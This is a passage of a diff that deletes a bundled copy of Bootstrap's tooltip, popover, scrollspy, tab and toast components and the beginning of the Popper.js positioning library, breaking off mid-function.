-            this._element.ownerDocument.documentElement.contains(this.tip) || (l.append(n), H.trigger(this._element, this.constructor.Event.INSERTED)),
-            this._popper ? this._popper.update() : (this._popper = i.createPopper(this._element, n, this._getPopperConfig(a))),
-            n.classList.add('show');
-        const c = this._resolvePossibleFunction(this._config.customClass);
-        c && n.classList.add(...c.split(' ')),
-            'ontouchstart' in document.documentElement && [].concat(...document.body.children).forEach((t) => {
-                H.on(t, 'mouseover', g);
-            });
-        const h = this.tip.classList.contains('fade');
-        this._queueCallback(
-            () => {
-                const t = this._hoverState;
-                (this._hoverState = null), H.trigger(this._element, this.constructor.Event.SHOWN), 'out' === t && this._leave(null, this);
-            },
-            this.tip,
-            h
-        );
-    }
-    hide() {
-        if (!this._popper) return;
-        const t = this.getTipElement();
-        if (H.trigger(this._element, this.constructor.Event.HIDE).defaultPrevented) return;
-        t.classList.remove('show'),
-            'ontouchstart' in document.documentElement && [].concat(...document.body.children).forEach((t) => H.off(t, 'mouseover', g)),
-            (this._activeTrigger.click = !1),
-            (this._activeTrigger.focus = !1),
-            (this._activeTrigger.hover = !1);
-        const e = this.tip.classList.contains('fade');
-        this._queueCallback(
-                () => {
-                    this._isWithActiveTrigger() ||
-                        ('show' !== this._hoverState && t.remove(),
-                            this._cleanTipClass(),
-                            this._element.removeAttribute('aria-describedby'),
-                            H.trigger(this._element, this.constructor.Event.HIDDEN),
-                            this._disposePopper());
-                },
-                this.tip,
-                e
-            ),
-            (this._hoverState = '');
-    }
-    update() {
-        null !== this._popper && this._popper.update();
-    }
-    isWithContent() {
-        return Boolean(this.getTitle());
-    }
-    getTipElement() {
-        if (this.tip) return this.tip;
-        const t = document.createElement('div');
-        t.innerHTML = this._config.template;
-        const e = t.children[0];
-        return this.setContent(e), e.classList.remove('fade', 'show'), (this.tip = e), this.tip;
-    }
-    setContent(t) {
-        this._sanitizeAndSetContent(t, this.getTitle(), '.tooltip-inner');
-    }
-    _sanitizeAndSetContent(t, e, i) {
-        const s = V.findOne(i, t);
-        e || !s ? this.setElementContent(s, e) : s.remove();
-    }
-    setElementContent(t, e) {
-        if (null !== t)
-            return a(e) ?
-                ((e = l(e)), void(this._config.html ? e.parentNode !== t && ((t.innerHTML = ''), t.append(e)) : (t.textContent = e.textContent))) :
-                void(this._config.html ?
-                    (this._config.sanitize && (e = It(e, this._config.allowList, this._config.sanitizeFn)), (t.innerHTML = e)) :
-                    (t.textContent = e));
-    }
-    getTitle() {
-        const t = this._element.getAttribute('data-bs-original-title') || this._config.title;
-        return this._resolvePossibleFunction(t);
-    }
-    updateAttachment(t) {
-        return 'right' === t ? 'end' : 'left' === t ? 'start' : t;
-    }
-    _initializeOnDelegatedTarget(t, e) {
-        return e || this.constructor.getOrCreateInstance(t.delegateTarget, this._getDelegateConfig());
-    }
-    _getOffset() {
-        const {
-            offset: t
-        } = this._config;
-        return 'string' == typeof t ? t.split(',').map((t) => Number.parseInt(t, 10)) : 'function' == typeof t ? (e) => t(e, this._element) : t;
-    }
-    _resolvePossibleFunction(t) {
-        return 'function' == typeof t ? t.call(this._element) : t;
-    }
-    _getPopperConfig(t) {
-        const e = {
-            placement: t,
-            modifiers: [{
-                    name: 'flip',
-                    options: {
-                        fallbackPlacements: this._config.fallbackPlacements
-                    }
-                },
-                {
-                    name: 'offset',
-                    options: {
-                        offset: this._getOffset()
-                    }
-                },
-                {
-                    name: 'preventOverflow',
-                    options: {
-                        boundary: this._config.boundary
-                    }
-                },
-                {
-                    name: 'arrow',
-                    options: {
-                        element: `.${this.constructor.NAME}-arrow`
-                    }
-                },
-                {
-                    name: 'onChange',
-                    enabled: !0,
-                    phase: 'afterWrite',
-                    fn: (t) => this._handlePopperPlacementChange(t)
-                }
-            ],
-            onFirstUpdate: (t) => {
-                t.options.placement !== t.placement && this._handlePopperPlacementChange(t);
-            }
-        };
-        return {
-            ...e,
-            ...('function' == typeof this._config.popperConfig ? this._config.popperConfig(e) : this._config.popperConfig)
-        };
-    }
-    _addAttachmentClass(t) {
-        this.getTipElement().classList.add(`${this._getBasicClassPrefix()}-${this.updateAttachment(t)}`);
-    }
-    _getAttachment(t) {
-        return Mt[t.toUpperCase()];
-    }
-    _setListeners() {
-        this._config.trigger.split(' ').forEach((t) => {
-                if ('click' === t) H.on(this._element, this.constructor.Event.CLICK, this._config.selector, (t) => this.toggle(t));
-                else if ('manual' !== t) {
-                    const e = 'hover' === t ? this.constructor.Event.MOUSEENTER : this.constructor.Event.FOCUSIN,
-                        i = 'hover' === t ? this.constructor.Event.MOUSELEAVE : this.constructor.Event.FOCUSOUT;
-                    H.on(this._element, e, this._config.selector, (t) => this._enter(t)), H.on(this._element, i, this._config.selector, (t) => this._leave(t));
-                }
-            }),
-            (this._hideModalHandler = () => {
-                this._element && this.hide();
-            }),
-            H.on(this._element.closest('.modal'), 'hide.bs.modal', this._hideModalHandler),
-            this._config.selector ?
-            (this._config = {
-                ...this._config,
-                trigger: 'manual',
-                selector: ''
-            }) :
-            this._fixTitle();
-    }
-    _fixTitle() {
-        const t = this._element.getAttribute('title'),
-            e = typeof this._element.getAttribute('data-bs-original-title');
-        (t || 'string' !== e) &&
-        (this._element.setAttribute('data-bs-original-title', t || ''),
-            !t || this._element.getAttribute('aria-label') || this._element.textContent || this._element.setAttribute('aria-label', t),
-            this._element.setAttribute('title', ''));
-    }
-    _enter(t, e) {
-        (e = this._initializeOnDelegatedTarget(t, e)),
-        t && (e._activeTrigger['focusin' === t.type ? 'focus' : 'hover'] = !0),
-            e.getTipElement().classList.contains('show') || 'show' === e._hoverState ?
-            (e._hoverState = 'show') :
-            (clearTimeout(e._timeout),
-                (e._hoverState = 'show'),
-                e._config.delay && e._config.delay.show ?
-                (e._timeout = setTimeout(() => {
-                    'show' === e._hoverState && e.show();
-                }, e._config.delay.show)) :
-                e.show());
-    }
-    _leave(t, e) {
-        (e = this._initializeOnDelegatedTarget(t, e)),
-        t && (e._activeTrigger['focusout' === t.type ? 'focus' : 'hover'] = e._element.contains(t.relatedTarget)),
-            e._isWithActiveTrigger() ||
-            (clearTimeout(e._timeout),
-                (e._hoverState = 'out'),
-                e._config.delay && e._config.delay.hide ?
-                (e._timeout = setTimeout(() => {
-                    'out' === e._hoverState && e.hide();
-                }, e._config.delay.hide)) :
-                e.hide());
-    }
-    _isWithActiveTrigger() {
-        for (const t in this._activeTrigger)
-            if (this._activeTrigger[t]) return !0;
-        return !1;
-    }
-    _getConfig(t) {
-        const e = K.getDataAttributes(this._element);
-        return (
-            Object.keys(e).forEach((t) => {
-                Pt.has(t) && delete e[t];
-            }),
-            ((t = {
-                ...this.constructor.Default,
-                ...e,
-                ...('object' == typeof t && t ? t : {})
-            }).container = !1 === t.container ? document.body : l(t.container)),
-            'number' == typeof t.delay &&
-            (t.delay = {
-                show: t.delay,
-                hide: t.delay
-            }),
-            'number' == typeof t.title && (t.title = t.title.toString()),
-            'number' == typeof t.content && (t.content = t.content.toString()),
-            c('tooltip', t, this.constructor.DefaultType),
-            t.sanitize && (t.template = It(t.template, t.allowList, t.sanitizeFn)),
-            t
-        );
-    }
-    _getDelegateConfig() {
-        const t = {};
-        for (const e in this._config) this.constructor.Default[e] !== this._config[e] && (t[e] = this._config[e]);
-        return t;
-    }
-    _cleanTipClass() {
-        const t = this.getTipElement(),
-            e = new RegExp(`(^|\\s)${this._getBasicClassPrefix()}\\S+`, 'g'),
-            i = t.getAttribute('class').match(e);
-        null !== i && i.length > 0 && i.map((t) => t.trim()).forEach((e) => t.classList.remove(e));
-    }
-    _getBasicClassPrefix() {
-        return 'bs-tooltip';
-    }
-    _handlePopperPlacementChange(t) {
-        const {
-            state: e
-        } = t;
-        e && ((this.tip = e.elements.popper), this._cleanTipClass(), this._addAttachmentClass(this._getAttachment(e.placement)));
-    }
-    _disposePopper() {
-        this._popper && (this._popper.destroy(), (this._popper = null));
-    }
-    static jQueryInterface(t) {
-        return this.each(function() {
-            const e = Bt.getOrCreateInstance(this, t);
-            if ('string' == typeof t) {
-                if (void 0 === e[t]) throw new TypeError(`No method named "${t}"`);
-                e[t]();
-            }
-        });
-    }
-}
-b(Bt);
-const zt = {
-        ...Bt.Default,
-        placement: 'right',
-        offset: [0, 8],
-        trigger: 'click',
-        content: '',
-        template: '<div class="popover" role="tooltip"><div class="popover-arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>'
-    },
-    Rt = {
-        ...Bt.DefaultType,
-        content: '(string|element|function)'
-    },
-    Ft = {
-        HIDE: 'hide.bs.popover',
-        HIDDEN: 'hidden.bs.popover',
-        SHOW: 'show.bs.popover',
-        SHOWN: 'shown.bs.popover',
-        INSERTED: 'inserted.bs.popover',
-        CLICK: 'click.bs.popover',
-        FOCUSIN: 'focusin.bs.popover',
-        FOCUSOUT: 'focusout.bs.popover',
-        MOUSEENTER: 'mouseenter.bs.popover',
-        MOUSELEAVE: 'mouseleave.bs.popover'
-    };
-class qt extends Bt {
-    static get Default() {
-        return zt;
-    }
-    static get NAME() {
-        return 'popover';
-    }
-    static get Event() {
-        return Ft;
-    }
-    static get DefaultType() {
-        return Rt;
-    }
-    isWithContent() {
-        return this.getTitle() || this._getContent();
-    }
-    setContent(t) {
-        this._sanitizeAndSetContent(t, this.getTitle(), '.popover-header'), this._sanitizeAndSetContent(t, this._getContent(), '.popover-body');
-    }
-    _getContent() {
-        return this._resolvePossibleFunction(this._config.content);
-    }
-    _getBasicClassPrefix() {
-        return 'bs-popover';
-    }
-    static jQueryInterface(t) {
-        return this.each(function() {
-            const e = qt.getOrCreateInstance(this, t);
-            if ('string' == typeof t) {
-                if (void 0 === e[t]) throw new TypeError(`No method named "${t}"`);
-                e[t]();
-            }
-        });
-    }
-}
-b(qt);
-const Wt = {
-        offset: 10,
-        method: 'auto',
-        target: ''
-    },
-    $t = {
-        offset: 'number',
-        method: 'string',
-        target: '(string|element)'
-    },
-    Ut = '.nav-link, .list-group-item, .dropdown-item';
-class Kt extends R {
-    constructor(t, e) {
-        super(t),
-            (this._scrollElement = 'BODY' === this._element.tagName ? window : this._element),
-            (this._config = this._getConfig(e)),
-            (this._offsets = []),
-            (this._targets = []),
-            (this._activeTarget = null),
-            (this._scrollHeight = 0),
-            H.on(this._scrollElement, 'scroll.bs.scrollspy', () => this._process()),
-            this.refresh(),
-            this._process();
-    }
-    static get Default() {
-        return Wt;
-    }
-    static get NAME() {
-        return 'scrollspy';
-    }
-    refresh() {
-        const t = this._scrollElement === this._scrollElement.window ? 'offset' : 'position',
-            e = 'auto' === this._config.method ? t : this._config.method,
-            i = 'position' === e ? this._getScrollTop() : 0;
-        (this._offsets = []),
-        (this._targets = []),
-        (this._scrollHeight = this._getScrollHeight()),
-        V.find(Ut, this._config.target)
-            .map((t) => {
-                const s = n(t),
-                    o = s ? V.findOne(s) : null;
-                if (o) {
-                    const t = o.getBoundingClientRect();
-                    if (t.width || t.height) return [K[e](o).top + i, s];
-                }
-                return null;
-            })
-            .filter((t) => t)
-            .sort((t, e) => t[0] - e[0])
-            .forEach((t) => {
-                this._offsets.push(t[0]), this._targets.push(t[1]);
-            });
-    }
-    dispose() {
-        H.off(this._scrollElement, '.bs.scrollspy'), super.dispose();
-    }
-    _getConfig(t) {
-        return (
-            ((t = {
-                ...Wt,
-                ...K.getDataAttributes(this._element),
-                ...('object' == typeof t && t ? t : {})
-            }).target = l(t.target) || document.documentElement),
-            c('scrollspy', t, $t),
-            t
-        );
-    }
-    _getScrollTop() {
-        return this._scrollElement === window ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop;
-    }
-    _getScrollHeight() {
-        return this._scrollElement.scrollHeight || Math.max(document.body.scrollHeight, document.documentElement.scrollHeight);
-    }
-    _getOffsetHeight() {
-        return this._scrollElement === window ? window.innerHeight : this._scrollElement.getBoundingClientRect().height;
-    }
-    _process() {
-        const t = this._getScrollTop() + this._config.offset,
-            e = this._getScrollHeight(),
-            i = this._config.offset + e - this._getOffsetHeight();
-        if ((this._scrollHeight !== e && this.refresh(), t >= i)) {
-            const t = this._targets[this._targets.length - 1];
-            this._activeTarget !== t && this._activate(t);
-        } else {
-            if (this._activeTarget && t < this._offsets[0] && this._offsets[0] > 0) return (this._activeTarget = null), void this._clear();
-            for (let e = this._offsets.length; e--;)
-                this._activeTarget !== this._targets[e] &&
-                t >= this._offsets[e] &&
-                (void 0 === this._offsets[e + 1] || t < this._offsets[e + 1]) &&
-                this._activate(this._targets[e]);
-        }
-    }
-    _activate(t) {
-        (this._activeTarget = t), this._clear();
-        const e = Ut.split(',').map((e) => `${e}[data-bs-target="${t}"],${e}[href="${t}"]`),
-            i = V.findOne(e.join(','), this._config.target);
-        i.classList.add('active'),
-            i.classList.contains('dropdown-item') ?
-            V.findOne('.dropdown-toggle', i.closest('.dropdown')).classList.add('active') :
-            V.parents(i, '.nav, .list-group').forEach((t) => {
-                V.prev(t, '.nav-link, .list-group-item').forEach((t) => t.classList.add('active')),
-                    V.prev(t, '.nav-item').forEach((t) => {
-                        V.children(t, '.nav-link').forEach((t) => t.classList.add('active'));
-                    });
-            }),
-            H.trigger(this._scrollElement, 'activate.bs.scrollspy', {
-                relatedTarget: t
-            });
-    }
-    _clear() {
-        V.find(Ut, this._config.target)
-            .filter((t) => t.classList.contains('active'))
-            .forEach((t) => t.classList.remove('active'));
-    }
-    static jQueryInterface(t) {
-        return this.each(function() {
-            const e = Kt.getOrCreateInstance(this, t);
-            if ('string' == typeof t) {
-                if (void 0 === e[t]) throw new TypeError(`No method named "${t}"`);
-                e[t]();
-            }
-        });
-    }
-}
-H.on(window, 'load.bs.scrollspy.data-api', () => {
-        V.find('[data-bs-spy="scroll"]').forEach((t) => new Kt(t));
-    }),
-    b(Kt);
-class Vt extends R {
-    static get NAME() {
-        return 'tab';
-    }
-    show() {
-        if (this._element.parentNode && this._element.parentNode.nodeType === Node.ELEMENT_NODE && this._element.classList.contains('active')) return;
-        let t;
-        const e = o(this._element),
-            i = this._element.closest('.nav, .list-group');
-        if (i) {
-            const e = 'UL' === i.nodeName || 'OL' === i.nodeName ? ':scope > li > .active' : '.active';
-            (t = V.find(e, i)), (t = t[t.length - 1]);
-        }
-        const s = t ?
-            H.trigger(t, 'hide.bs.tab', {
-                relatedTarget: this._element
-            }) :
-            null;
-        if (
-            H.trigger(this._element, 'show.bs.tab', {
-                relatedTarget: t
-            }).defaultPrevented ||
-            (null !== s && s.defaultPrevented)
-        )
-            return;
-        this._activate(this._element, i);
-        const n = () => {
-            H.trigger(t, 'hidden.bs.tab', {
-                    relatedTarget: this._element
-                }),
-                H.trigger(this._element, 'shown.bs.tab', {
-                    relatedTarget: t
-                });
-        };
-        e ? this._activate(e, e.parentNode, n) : n();
-    }
-    _activate(t, e, i) {
-        const s = (!e || ('UL' !== e.nodeName && 'OL' !== e.nodeName) ? V.children(e, '.active') : V.find(':scope > li > .active', e))[0],
-            n = i && s && s.classList.contains('fade'),
-            o = () => this._transitionComplete(t, s, i);
-        s && n ? (s.classList.remove('show'), this._queueCallback(o, t, !0)) : o();
-    }
-    _transitionComplete(t, e, i) {
-        if (e) {
-            e.classList.remove('active');
-            const t = V.findOne(':scope > .dropdown-menu .active', e.parentNode);
-            t && t.classList.remove('active'), 'tab' === e.getAttribute('role') && e.setAttribute('aria-selected', !1);
-        }
-        t.classList.add('active'),
-            'tab' === t.getAttribute('role') && t.setAttribute('aria-selected', !0),
-            p(t),
-            t.classList.contains('fade') && t.classList.add('show');
-        let s = t.parentNode;
-        if ((s && 'LI' === s.nodeName && (s = s.parentNode), s && s.classList.contains('dropdown-menu'))) {
-            const e = t.closest('.dropdown');
-            e && V.find('.dropdown-toggle', e).forEach((t) => t.classList.add('active')), t.setAttribute('aria-expanded', !0);
-        }
-        i && i();
-    }
-    static jQueryInterface(t) {
-        return this.each(function() {
-            const e = Vt.getOrCreateInstance(this);
-            if ('string' == typeof t) {
-                if (void 0 === e[t]) throw new TypeError(`No method named "${t}"`);
-                e[t]();
-            }
-        });
-    }
-}
-H.on(document, 'click.bs.tab.data-api', '[data-bs-toggle="tab"], [data-bs-toggle="pill"], [data-bs-toggle="list"]', function(t) {
-        ['A', 'AREA'].includes(this.tagName) && t.preventDefault(), d(this) || Vt.getOrCreateInstance(this).show();
-    }),
-    b(Vt);
-const Xt = {
-        animation: 'boolean',
-        autohide: 'boolean',
-        delay: 'number'
-    },
-    Yt = {
-        animation: !0,
-        autohide: !0,
-        delay: 5e3
-    };
-class Qt extends R {
-    constructor(t, e) {
-        super(t),
-            (this._config = this._getConfig(e)),
-            (this._timeout = null),
-            (this._hasMouseInteraction = !1),
-            (this._hasKeyboardInteraction = !1),
-            this._setListeners();
-    }
-    static get DefaultType() {
-        return Xt;
-    }
-    static get Default() {
-        return Yt;
-    }
-    static get NAME() {
-        return 'toast';
-    }
-    show() {
-        H.trigger(this._element, 'show.bs.toast').defaultPrevented ||
-            (this._clearTimeout(),
-                this._config.animation && this._element.classList.add('fade'),
-                this._element.classList.remove('hide'),
-                p(this._element),
-                this._element.classList.add('show'),
-                this._element.classList.add('showing'),
-                this._queueCallback(
-                    () => {
-                        this._element.classList.remove('showing'), H.trigger(this._element, 'shown.bs.toast'), this._maybeScheduleHide();
-                    },
-                    this._element,
-                    this._config.animation
-                ));
-    }
-    hide() {
-        this._element.classList.contains('show') &&
-            (H.trigger(this._element, 'hide.bs.toast').defaultPrevented ||
-                (this._element.classList.add('showing'),
-                    this._queueCallback(
-                        () => {
-                            this._element.classList.add('hide'),
-                                this._element.classList.remove('showing'),
-                                this._element.classList.remove('show'),
-                                H.trigger(this._element, 'hidden.bs.toast');
-                        },
-                        this._element,
-                        this._config.animation
-                    )));
-    }
-    dispose() {
-        this._clearTimeout(), this._element.classList.contains('show') && this._element.classList.remove('show'), super.dispose();
-    }
-    _getConfig(t) {
-        return (
-            (t = {
-                ...Yt,
-                ...K.getDataAttributes(this._element),
-                ...('object' == typeof t && t ? t : {})
-            }),
-            c('toast', t, this.constructor.DefaultType),
-            t
-        );
-    }
-    _maybeScheduleHide() {
-        this._config.autohide &&
-            (this._hasMouseInteraction ||
-                this._hasKeyboardInteraction ||
-                (this._timeout = setTimeout(() => {
-                    this.hide();
-                }, this._config.delay)));
-    }
-    _onInteraction(t, e) {
-        switch (t.type) {
-            case 'mouseover':
-            case 'mouseout':
-                this._hasMouseInteraction = e;
-                break;
-            case 'focusin':
-            case 'focusout':
-                this._hasKeyboardInteraction = e;
-        }
-        if (e) return void this._clearTimeout();
-        const i = t.relatedTarget;
-        this._element === i || this._element.contains(i) || this._maybeScheduleHide();
-    }
-    _setListeners() {
-        H.on(this._element, 'mouseover.bs.toast', (t) => this._onInteraction(t, !0)),
-            H.on(this._element, 'mouseout.bs.toast', (t) => this._onInteraction(t, !1)),
-            H.on(this._element, 'focusin.bs.toast', (t) => this._onInteraction(t, !0)),
-            H.on(this._element, 'focusout.bs.toast', (t) => this._onInteraction(t, !1));
-    }
-    _clearTimeout() {
-        clearTimeout(this._timeout), (this._timeout = null);
-    }
-    static jQueryInterface(t) {
-        return this.each(function() {
-            const e = Qt.getOrCreateInstance(this, t);
-            if ('string' == typeof t) {
-                if (void 0 === e[t]) throw new TypeError(`No method named "${t}"`);
-                e[t](this);
-            }
-        });
-    }
-}
-return (
-F(Qt),
-b(Qt), {
-    Alert: q,
-    Button: W,
-    Carousel: et,
-    Collapse: nt,
-    Dropdown: pt,
-    Modal: Tt,
-    Offcanvas: Lt,
-    Popover: qt,
-    ScrollSpy: Kt,
-    Tab: Vt,
-    Toast: Qt,
-    Tooltip: Bt
-}
-);
-});
-//# sourceMappingURL=bootstrap.min.js.map
-//---------------------------POPPER--------------------------------------
-/**
- * @popperjs/core v2.9.3 - MIT License
- */
-('use strict');
-!(function(e, t) {
-    'object' == typeof exports && 'undefined' != typeof module ?
-        t(exports) :
-        'function' == typeof define && define.amd ?
-        define(['exports'], t) :
-        t(((e = 'undefined' != typeof globalThis ? globalThis : e || self).Popper = {}));
-})(this, function(e) {
-    function t(e) {
-        return null == e ? window : '[object Window]' !== e.toString() ? ((e = e.ownerDocument) && e.defaultView) || window : e;
-    }
-    function n(e) {
-        return e instanceof t(e).Element || e instanceof Element;
-    }
-    function o(e) {
-        return e instanceof t(e).HTMLElement || e instanceof HTMLElement;
-    }
-    function r(e) {
-        return 'undefined' != typeof ShadowRoot && (e instanceof t(e).ShadowRoot || e instanceof ShadowRoot);
-    }
-    function i(e, t) {
-        void 0 === t && (t = !1);
-        var n = e.getBoundingClientRect(),
-            r = 1,
-            i = 1;
-        return (
-            o(e) && t && ((r = n.width / e.offsetWidth || 1), (i = n.height / e.offsetHeight || 1)), {
-                width: q(n.width / r),
-                height: q(n.height / i),
-                top: q(n.top / i),
-                right: q(n.right / r),
-                bottom: q(n.bottom / i),
-                left: q(n.left / r),
-                x: q(n.left / r),
-                y: q(n.top / i)
-            }
-        );
-    }
-    function a(e) {
-        return {
-            scrollLeft: (e = t(e)).pageXOffset,
-            scrollTop: e.pageYOffset
-        };
-    }
-    function s(e) {
-        return e ? (e.nodeName || '').toLowerCase() : null;
-    }
-    function f(e) {
-        return ((n(e) ? e.ownerDocument : e.document) || window.document).documentElement;
-    }
-    function p(e) {
-        return i(f(e)).left + a(e).scrollLeft;
-    }
-    function c(e) {
-        return t(e).getComputedStyle(e);
-    }
-    function l(e) {
-        return (e = c(e)), /auto|scroll|overlay|hidden/.test(e.overflow + e.overflowY + e.overflowX);
-    }
-    function u(e, n, r) {
-        void 0 === r && (r = !1);
-        var c,
-            u = o(n);
-        if ((c = o(n))) {
-            var d = (c = n.getBoundingClientRect()).height / n.offsetHeight || 1;
-            c = 1 !== (c.width / n.offsetWidth || 1) || 1 !== d;
-        }
-        (d = c),
-        (c = f(n)),
-        (e = i(e, d)),
-        (d = {
-            scrollLeft: 0,
-            scrollTop: 0
-        });
-        var h = {
-            x: 0,
-            y: 0
-        };
-        return (
-            (u || (!u && !r)) &&
-            (('body' !== s(n) || l(c)) &&
-                (d =
-                    n !== t(n) && o(n) ? {
-                        scrollLeft: n.scrollLeft,
-                        scrollTop: n.scrollTop
-                    } :
-                    a(n)),
-                o(n) ? (((h = i(n, !0)).x += n.clientLeft), (h.y += n.clientTop)) : c && (h.x = p(c))), {
-                x: e.left + d.scrollLeft - h.x,
-                y: e.top + d.scrollTop - h.y,
-                width: e.width,
-                height: e.height
-            }
-        );
-    }
-    function d(e) {
-        var t = i(e),
-            n = e.offsetWidth,
-            o = e.offsetHeight;
-        return (
-            1 >= Math.abs(t.width - n) && (n = t.width),
-            1 >= Math.abs(t.height - o) && (o = t.height), {
-                x: e.offsetLeft,
-                y: e.offsetTop,
-                width: n,
-                height: o
-            }
-        );
-    }
-    function h(e) {
-        return 'html' === s(e) ? e : e.assignedSlot || e.parentNode || (r(e) ? e.host : null) || f(e);
-    }
-    function m(e) {
-        return 0 <= ['html', 'body', '#document'].indexOf(s(e)) ? e.ownerDocument.body : o(e) && l(e) ? e : m(h(e));
-    }
-    function v(e, n) {
-        var o;
-        void 0 === n && (n = []);
-        var r = m(e);
-        return (
-            (e = r === (null == (o = e.ownerDocument) ? void 0 : o.body)),
-            (o = t(r)),
-            (r = e ? [o].concat(o.visualViewport || [], l(r) ? r : []) : r),
-            (n = n.concat(r)),
-            e ? n : n.concat(v(h(r)))
-        );
-    }
-    function g(e) {
-        return o(e) && 'fixed' !== c(e).position ? e.offsetParent : null;
-    }
-    function y(e) {
-        for (var n = t(e), r = g(e); r && 0 <= ['table', 'td', 'th'].indexOf(s(r)) && 'static' === c(r).position;) r = g(r);
-        if (r && ('html' === s(r) || ('body' === s(r) && 'static' === c(r).position))) return n;
-        if (!r)
-            e: {
-                if (
-                    ((r = -1 !== navigator.userAgent.toLowerCase().indexOf('firefox')),
-                        -1 === navigator.userAgent.indexOf('Trident') || !o(e) || 'fixed' !== c(e).position)
-                )
-                    for (e = h(e); o(e) && 0 > ['html', 'body'].indexOf(s(e));) {
-                        var i = c(e);
-                        if (
-                            'none' !== i.transform ||
-                            'none' !== i.perspective ||
-                            'paint' === i.contain ||
-                            -1 !== ['transform', 'perspective'].indexOf(i.willChange) ||
-                            (r && 'filter' === i.willChange) ||
-                            (r && i.filter && 'none' !== i.filter)
-                        ) {
-                            r = e;
-                            break e;
-                        }
-                        e = e.parentNode;
-                    }
-                r = null;
-            }
-        return r || n;
-    }
-    function b(e) {
-        function t(e) {
-            o.add(e.name),
-                [].concat(e.requires || [], e.requiresIfExists || []).forEach(function(e) {
-                    o.has(e) || ((e = n.get(e)) && t(e));
-                }),
-                r.push(e);
-        }
-        var n = new Map(),
-            o = new Set(),
-            r = [];
-        return (
-            e.forEach(function(e) {
-                n.set(e.name, e);
-            }),
-            e.forEach(function(e) {
-                o.has(e.name) || t(e);
-            }),
-            r
-        );
-    }
-    function w(e) {
-        var t;
-        return function() {
-            return (
-                t ||
-                (t = new Promise(function(n) {
-                    Promise.resolve().then(function() {
-                        (t = void 0), n(e());
-                    });
-                })),
-                t
-            );
-        };
-    }
-    function x(e) {
-        return e.split('-')[0];
-    }
-    function O(e, t) {
-        var n = t.getRootNode && t.getRootNode();
-        if (e.contains(t)) return !0;
-        if (n && r(n))
-            do {
-                if (t && e.isSameNode(t)) return !0;
-                t = t.parentNode || t.host;
-            } while (t);
-        return !1;
-    }
-    function j(e) {
-        return Object.assign({}, e, {
-            left: e.x,
-            top: e.y,
-            right: e.x + e.width,
-            bottom: e.y + e.height
-        });
-    }
-    function E(e, n) {
-        if ('viewport' === n) {
-            n = t(e);
-            var r = f(e);
-            n = n.visualViewport;
-            var s = r.clientWidth;
-            r = r.clientHeight;
-            var l = 0,
-                u = 0;
-            n && ((s = n.width), (r = n.height), /^((?!chrome|android).)*safari/i.test(navigator.userAgent) || ((l = n.offsetLeft), (u = n.offsetTop))),
-                (e = j(
-                    (e = {
-                        width: s,
-                        height: r,
-                        x: l + p(e),
-                        y: u
-                    })
-                ));
-        } else
-            o(n) ?
-            (((e = i(n)).top += n.clientTop),
-                (e.left += n.clientLeft),
-                (e.bottom = e.top + n.clientHeight),
-                (e.right = e.left + n.clientWidth),
-                (e.width = n.clientWidth),
-                (e.height = n.clientHeight),
-                (e.x = e.left),
-                (e.y = e.top)) :
-            ((u = f(e)),
-                (e = f(u)),
-                (s = a(u)),
-                (n = null == (r = u.ownerDocument) ? void 0 : r.body),
-                (r = U(e.scrollWidth, e.clientWidth, n ? n.scrollWidth : 0, n ? n.clientWidth : 0)),
-                (l = U(e.scrollHeight, e.clientHeight, n ? n.scrollHeight : 0, n ? n.clientHeight : 0)),
-                (u = -s.scrollLeft + p(u)),
-                (s = -s.scrollTop),
-                'rtl' === c(n || e).direction && (u += U(e.clientWidth, n ? n.clientWidth : 0) - r),
-                (e = j({
-                    width: r,
-                    height: l,
-                    x: u,
-                    y: s
-                })));
-        return e;
-    }
-    function D(e, t, r) {
-        return (
-            (t =
-                'clippingParents' === t ?
-                (function(e) {
-                    var t = v(h(e)),
-                        r = 0 <= ['absolute', 'fixed'].indexOf(c(e).position) && o(e) ? y(e) : e;
-                    return n(r) ?
-                        t.filter(function(e) {
-                            return n(e) && O(e, r) && 'body' !== s(e);
-                        }) : [];
-                })(e) : [].concat(t)),
-            ((r = (r = [].concat(t, [r])).reduce(function(t, n) {
-                return (
-                    (n = E(e, n)),
-                    (t.top = U(n.top, t.top)),
-                    (t.right = z(n.right, t.right)),
-                    (t.bottom = z(n.bottom, t.bottom)),
-                    (t.left = U(n.left, t.left)),
-                    t
-                );
-            }, E(e, r[0]))).width = r.right - r.left),
-            (r.height = r.bottom - r.top),
-            (r.x = r.left),
-            (r.y = r.top),
-            r
-        );
-    }
-    function L(e) {
-        return 0 <= ['top', 'bottom'].indexOf(e) ? 'x' : 'y';
-    }
-    function M(e) {
-        var t = e.reference,
-            n = e.element,
-            o = (e = e.placement) ? x(e) : null;
-        e = e ? e.split('-')[1] : null;
-        var r = t.x + t.width / 2 - n.width / 2,
-            i = t.y + t.height / 2 - n.height / 2;
-        switch (o) {
-            case 'top':
-                r = {
-                    x: r,
-                    y: t.y - n.height
-                };
-                break;
-            case 'bottom':
-                r = {
-                    x: r,
-                    y: t.y + t.height
-                };
-                break;
-            case 'right':
-                r = {
-                    x: t.x + t.width,
-                    y: i
-                };
-                break;
-            case 'left':
-                r = {
-                    x: t.x - n.width,
-                    y: i
-                };
-                break;
-            default:
-                r = {
-                    x: t.x,
-                    y: t.y
-                };
-        }
-        if (null != (o = o ? L(o) : null))
-            switch (((i = 'y' === o ? 'height' : 'width'), e)) {
-                case 'start':
-                    r[o] -= t[i] / 2 - n[i] / 2;
-                    break;
-                case 'end':
-                    r[o] += t[i] / 2 - n[i] / 2;
-            }
-        return r;
-    }
-    function P(e) {
-        return Object.assign({}, {
-                top: 0,
-                right: 0,
-                bottom: 0,
-                left: 0
-            },
-            e
-        );
-    }
-    function k(e, t) {
-        return t.reduce(function(t, n) {
-            return (t[n] = e), t;
-        }, {});
-    }
-    function W(e, t) {
-        void 0 === t && (t = {});
-        var o = t;
-        t = void 0 === (t = o.placement) ? e.placement : t;
-        var r = o.boundary,
-            a = void 0 === r ? 'clippingParents' : r,
-            s = void 0 === (r = o.rootBoundary) ? 'viewport' : r;
-        r = void 0 === (r = o.elementContext) ? 'popper' : r;
-        var p = o.altBoundary,
-            c = void 0 !== p && p;
-        o = P('number' != typeof(o = void 0 === (o = o.padding) ? 0 : o) ? o : k(o, N));
-        var l = e.elements.reference;
-        (p = e.rects.popper),
-        (a = D(n((c = e.elements[c ? ('popper' === r ? 'reference' : 'popper') : r])) ? c : c.contextElement || f(e.elements.popper), a, s)),
-        (c = M({
-            reference: (s = i(l)),
-            element: p,
-            strategy: 'absolute',
